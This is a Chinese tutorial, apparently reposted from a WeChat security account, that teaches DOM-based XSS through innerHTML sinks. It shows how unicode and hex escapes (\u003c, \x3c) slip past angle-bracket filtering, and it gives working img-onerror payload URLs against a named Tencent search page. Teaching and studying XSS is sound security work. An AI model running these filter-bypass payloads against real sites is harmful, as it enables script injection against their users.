前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 8. Dom Xss入门 [显式输出]

那些年我们一起学XSS - 8. Dom Xss入门 [显式输出]

作者头像
渗透攻击红队
发布2019-11-20 11:19:29
8040
发布2019-11-20 11:19:29
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

Dom Xss入门 [显式输出]

代码语言:javascript
复制
反射型XSS部分,就到这里了。接着我们进入Dom Xss的部分。Dom Xss相比反射型XSS,脑袋需要多思考一层。也就是说,我们关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么。为了循序渐进,本例讲到的是,【输出】直接在源代码可见的情况。

1. 在学习Dom Xss之前,先来补习点 html, js 的基础知识。

代码语言:javascript
复制
<div id="a">xxx</div>
<script>
  document.getElementById("a").innerHTML="yyyyyy";
</script>

解释如下:

2. 进一步,我们的 yyyyyy ,还可以是 HTML代码。

代码语言:javascript
复制
<div id="a">xxx</div>
<script>
  document.getElementById("a").innerHTML=" <img src=1> ";
</script>

效果如下:

3. 再进一步, JS的字符串中的字符可以写为 unicode编码。 譬如:< 可以表示为 \u003c , > 可以表示为 \u003e 不知道怎么转义的,可以使用gainover的工具。 工具地址:http://app.baidu.com/app/enter?appid=280383

也就是,我们上面的代码,可以进一步写为。

代码语言:javascript
复制
<div id="a">xxx</div>
<script>
  document.getElementById("a").innerHTML="\u003cimg src=1\u003e";
</script>

4. 上面看起来废话好多,但是还是很重要的,这对于后面实例的讲解很重要。 5. 我们来看看一个具体的实例,地址如下:

代码语言:javascript
复制
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

和前面反射型的一样,我们先看看输出。

相关代码,我也贴出来。

代码语言:javascript
复制
<strong id="titleshow">按职业1检索:aaaaaaa </strong></div>
<script>
if("aaaaaaa"=="")
document.getElementById("titleshow").innerHTML="按地区检索:全部明星";
if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业2")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
if("职业1"=="职业3")
document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
</script>

6. 一共有6处,有一处图上没显示,但是也没用处,这里不列出来了,看上面代码中的5处。我们已经知道,<, >, " 都被过滤了, 用前面提到的某些技巧,似乎也无法直接XSS。那么该怎么办呢? 7. 在看到本教程的1,2,3 部分后,聪明的你们不知道会不会想到些什么呢? 对的,那就是这里出现了 innerHTML="[输出]" 的情况。 我们可以看到,上面代码中,实际上只有一句是运行了的。我们重点看它。

代码语言:javascript
复制
if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:[输出]";

8. 这里 [输出] 最然过滤了 <, > ,但是并没有过滤 \ 。这样一来,大家应该清楚,为什么上面要说到 < 可以写为 \u003c 了吧。就是为了应付这种情况。 9. 因此,我们可以构造缺陷点的代码如下:

代码语言:javascript
复制
if("职业1"=="职业1")
document.getElementById("titleshow").innerHTML="按职业检索:\u003cimg src=1 onerror=alert(1)\u003e";

经过运行后, titleshow 里的HTML就会变为 <img src=1 onerror=alert(1)> ,从而弹出1。 对应的,我们的利用代码,可以写为如下,其中空格,我写为了\u0020

代码语言:javascript
复制
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e&attr=133&stype=2&tname=star_second.shtml

看看对应的源代码,悲催的事情出现了, \u003c 和 \u003e竟然被腾讯过滤了。。。

10. 别灰心,被过滤的原因,是因为 @Jannock 大牛在乌云报告过这个漏洞。 WooYun: 跨站脚本-可以让战场离得更远(浅谈腾讯架构缺陷) 11. 其实我们还应该注意到上面图片中,过滤的实际上是\u003c和\u003e,但是并没有过滤\u0020,这说明,腾讯只是针对性的过滤,并没有过滤 反斜线。 12. 其实呢,在JS字符串里, < 不光可以写为 \u003c,还可以写为 \x3c, > 同样可以写为 \x3e。我们试试腾讯过滤了这个没有呢?

代码语言:javascript
复制
http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e&attr=133&stype=2&tname=star_second.shtml

对应源码,看来没过滤啊~~

哎呀,这次总算弹出来了。见漏洞证明

13. 最后总结下。本例中是 innerHTML的情况。

实际上只要是与改变页面HTML内容相关的操作,都可能导致这种问题。 这也是网上介绍dom xss时,也经常会提到的东西, 比如 document.getElementById("y").innerHTML="xxxxxxxxxx"; document.write("xxxxxxxxxxxx"); 还有一些网站,使用了第三方的JS库,譬如jQuery时,会有 $("#y").html("xxxxxxx");

14. 当然最后,还需要提到一些需要注意的地方。

aa.innerHTML="xxxxxxxxxxxx";

这种情况下。xxxxx只能使用 <img src=1 onerror=alert(1)> 这种方式来触发JS。

而不能以 <script>alert(1)</script> 来触发,因为这种压根不会执行<script>..</script>之间的内容。IE下,可以使用 <script defer>alert(1)</script>。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档